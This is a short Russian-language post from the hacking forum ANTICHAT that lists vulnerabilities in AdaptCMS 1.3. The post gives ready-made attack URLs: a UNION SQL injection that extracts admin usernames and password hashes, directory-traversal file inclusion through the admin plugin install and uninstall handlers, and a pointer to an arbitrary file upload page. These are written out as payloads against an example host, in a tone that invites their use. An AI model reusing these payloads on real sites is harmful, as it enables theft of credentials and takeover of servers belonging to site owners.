ANTICHAT - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

Сайт производитель: http://www.adaptcms.com
Продукт: AdaptCMS
Версия: 1.3
SQL-inj
Есть RewriteRule ^page-([^/]+).html$ index.php?view=page&id=$1 , однако есть исходники! =)
Тянем хеш админа

Цитата:

http://www.sp.ru/
index.php?view=page&id=1'+union+select+1,username, 3,password,5,6+from+adaptcms_users--%20

LFI в админке

Цитата:

http://www.sp.ru/admin.php?view=install_plugin&url=../urllist.txt

Цитата:

http://www.sp.ru/admin.php?view=uninstall_plugin2 $_POST['url']=../urllist.txt

Загрузка произвольных файлов

Цитата:

http://www.sp.ru/admin.php?view=upload

P.S. На офф.сайте не работает! =(